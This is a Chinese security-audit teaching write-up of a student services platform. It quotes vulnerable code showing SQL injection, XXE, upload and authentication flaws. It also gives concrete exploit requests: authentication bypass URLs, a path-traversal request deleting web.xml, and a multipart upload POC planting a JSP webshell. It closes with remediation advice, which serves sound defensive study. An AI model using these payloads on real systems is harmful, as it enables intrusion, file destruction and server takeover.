某学生综合服务平台审计
字数 2860 2025-12-17 12:10:11
某学生综合服务平台安全审计教学文档
系统概述
系统架构模块
该系统为闭源学生综合服务平台,主要部署在内网环境,包含5个核心模块:
1. SYS - 综合管理系统
- 技术栈:Struts 1.2 + Spring + Hibernate 3
- 功能:系统主门户、统一认证、基础数据管理
- 管理范围:学生、教师、学院、专业、班级等基础信息
2. XGXT - 学生工作系统(核心模块)
- 技术栈:Spring MVC + Hibernate 5
- 功能:学生综合服务平台主系统
- 子模块:档案管理、请假违纪、学生资助、综合测评等100+功能
3. SYSX - 在线考试系统
- 包含3个子系统:exam(在线考试)、management(考试管理)、grader(教师网上阅卷)
4. WEIXIN - 微信接入模块
- 功能:微信公众号集成
- AppID:wx5e194777ce0ae2ec
5. XGH5 - 移动端H5系统
- 功能:学生端和教师端移动访问
- 包含:学生端(stu)、教师端(tea)
XGXT模块安全审计
鉴权机制分析
SessionFilter配置
- 拦截路径:所有
.action请求 - 配置文件:
web.xml中的sessionFilter
鉴权流程
-
HTTP请求转换:对request和response进行HTTP转换
-
CAS检查:通过
CodeUtil.getConfigBybh方法查询CAS开启状态 -
白名单验证:
- 使用
getServletPath()获取请求API路径 - 采用
indexOf进行关键词模糊匹配 - 路径规范化处理,无法绕过
- 使用
-
Session认证:通过session进行身份验证,无法绕过
安全建议:关注白名单路由和JSP文件安全
SQL注入漏洞
漏洞点1:MsgDao.xml中的getXzry方法
<!-- 存在问题的SQL映射 -->
<select id="getXzry" parameterType="map" resultType="map">
SELECT * FROM table
WHERE ${whereSqlJson} AND ${treeWhereJson}
</select>
漏洞分析:
whereSqlJson和treeWhereJson参数直接使用${}拼接- 调用流程:
ThemeUtil.whereSql()处理JSON参数 - 处理过程:将JSON转换为SQL语句片段,直接拼接无预编译
- 参数来源:通过路由注解获取,完全可控
漏洞点2:PubDao.xml中的getProcessAmount方法
<select id="getProcessAmount" parameterType="map" resultType="map">
SELECT COUNT(*) FROM ${tableName}
WHERE ${condition}
</select>
漏洞分析:
condition和tableName参数直接拼接- 调用
getRs方法执行原生SQL查询 - 参数通过路由注解获取,完全可控
XXE漏洞
漏洞位置:XMLUtil.java中的parseModXmlStr方法
public static Document parseModXmlStr(String xmlStr) {
return DocumentHelper.parseText(xmlStr); // Dom4j解析
}
漏洞分析:
- 使用Dom4j的
DocumentHelper.parseText()解析XML - 参数
xmlStr通过getString方法获取,仅进行空值检查 - 外部实体未禁用,存在XXE风险
文件上传漏洞
漏洞位置:AttachmentController.java中的fileUpload方法
public String fileUpload(HttpServletRequest request,
HttpServletResponse response) {
MultipartFile uFile = getUploadFile(request);
if (uFile != null) {
String fileSuffix = FileUtil.getFileSuffix(uFile.getOriginalFilename());
String newFileName = DateUtils.formatNow() + "." + fileSuffix;
File destFile = new File(uploadPath, newFileName);
uFile.transferTo(destFile);
}
}
漏洞分析:
- 文件后缀从原始文件名提取(最后一个
.后的内容) - 新文件名使用日期+原始后缀生成
- 通过
transferTo直接写入服务器 - 无文件类型检查,存在任意文件上传
SYSX模块安全审计
鉴权机制分析
技术架构:Spring + Struts + Hibernate + JDBC
UserNameFilter分析
public void doFilter(ServletRequest req, ServletResponse res,
FilterChain chain) {
String userName = ParamUtils.getParameter(request, "userName");
if (userName != null) {
request.getSession().setAttribute("userName", userName);
}
chain.doFilter(request, response);
}
安全问题:
- 直接从请求参数设置session中的userName
- 无身份验证,可伪造任意用户身份
系统授权检查
- 检查
xtbz参数是否在授权系统列表中 - 主要验证系统标识有效性,非用户身份验证
SYS模块安全审计
鉴权机制分析
Filter配置
- 拦截
*.jsp:LoginAdminFilter - 拦截
/sys/system/*:SystemFilter
LoginAdminFilter绕过分析
放行条件(满足任一即可):
"WZQ".equalsIgnoreCase(sybz)- 参数控制reqPath.contains(this.yxSite)- getServletPath获取,不可绕this.passUrl.contains(ds)- 同条件2sysAdminName != null- 需要登录request.getRequestURI().contains("login")- getRequestURI获取,可绕
绕过方法:
/admin.jsp?sybz=WZQ/login/../admin.jsp
SystemFilter身份伪造漏洞
public void doFilter(ServletRequest req, ServletResponse res) {
String userName = request.getParameter("userName"); // 参数覆盖
String currentSessionKey = getCurrentOperatorBySession(request, userName);
if (currentSessionKey == null) {
// 验证逻辑
}
}
漏洞利用:
- 如果admin用户已登录,构造:
/sys/system/info?userName=admin - 系统从缓存获取对应session凭据,实现身份伪造
命令执行漏洞(暂无法利用)
漏洞位置:PhotoUtil.java中的delfile方法
public static void delfile(String filePath) {
Runtime.getRuntime().exec("cmd /c del " + filePath);
}
限制因素:
- 参数通过
ParamUtils.getParameter获取 - 内部调用
Function.CheckReplace过滤特殊字符 - 过滤字符包括
|和&等命令分隔符
任意文件删除漏洞
漏洞位置:PhotoInToDbAction.java中的delFile方法
public ActionForward delFile(ActionMapping mapping, ActionForm form,
HttpServletRequest request) {
String errorInfoXlsName = ParamUtils.getParameter(request, "errorInfoXlsName");
PhotoUtil.delfile(errorInfoXlsName);
}
利用方法:
GET /sys/yx/photointo/delFile.do?errorInfoXlsName=../../../../WEB-INF/web.xml
SQL注入漏洞
漏洞点1:FormCommonAction.java中的doReportWordFileByRtf方法
public ActionForward doReportWordFileByRtf(ActionMapping mapping,
ActionForm form,
HttpServletRequest request) {
String keyvalue = request.getParameter("keyvalue");
String sql = "SELECT * FROM table WHERE key = '" + keyvalue + "'";
new ThemeDB().getOneMap(sql);
}
漏洞分析:
- 参数直接拼接SQL语句
- 调用原生JDBC执行查询
- 无任何过滤措施
漏洞点2:QueryAction.java中的queryDel方法
public ActionForward queryDel(ActionMapping mapping, ActionForm form,
HttpServletRequest request) {
String keyList = request.getParameter("keyList");
String sqlwhere = "id in (" + keyList + ")";
String sql = "DELETE FROM table WHERE " + sqlwhere;
new DB().executeUpdate(sql);
}
任意文件上传漏洞
漏洞位置:uploadPicture_qt.jsp
<%
String Action = request.getParameter("Action");
if ("Edit".equals(Action)) {
String keyvalue = request.getParameter("keyvalue");
RandomFileRenamePolicyByKeyColumn rfrp =
new RandomFileRenamePolicyByKeyColumn(keyvalue);
MultipartRequest multi = new MultipartRequest(request, savePath,
maxSize, encoding, rfrp);
}
%>
RandomFileRenamePolicyByKeyColumn分析:
- 实现FileRenamePolicy接口
- 从原始文件名提取后缀(最后一个
.后内容) - 新文件名使用原始后缀,后缀可控
上传POC:
POST /sys/login/../xgxt/formquery/uploadPicture_qt.jsp?table=null&keycol=null&keyvalue=null&zpcol=null&Action=Edit&colName=null&xtbz= HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file_photo"; filename="test.jsp"
Content-Type: image/png
<% webshell代码 %>
安全防护建议
代码层面
-
SQL注入防护:
- 使用预编译语句替换字符串拼接
- 对MyBatis中的
${}使用进行严格管控
-
文件上传安全:
- 白名单验证文件类型
- 重命名文件时使用固定安全后缀
- 限制上传目录的执行权限
-
XXE防护:
- 禁用外部实体解析
- 使用安全的XML解析器配置
-
鉴权加固:
- 统一认证入口,避免多套鉴权逻辑
- Session管理规范化,避免参数覆盖
架构层面
- 实施API网关统一安全管控
- 建立安全编码规范
- 定期进行安全代码审计
- 加强输入验证和输出编码
审计工具优化建议
检测规则增强
-
SQL注入检测:
- 识别
request.getParameter直接拼接SQL的模式 - 检测MyBatis中
${}的使用场景
- 识别
-
文件上传检测:
- 识别MultipartRequest的使用
- 检测文件重命名策略的安全性
-
鉴权绕过检测:
- 识别Filter中的路径检查逻辑
- 检测Session管理的不规范使用
通过系统化的安全审计,可以显著提升此类综合服务平台的安全性。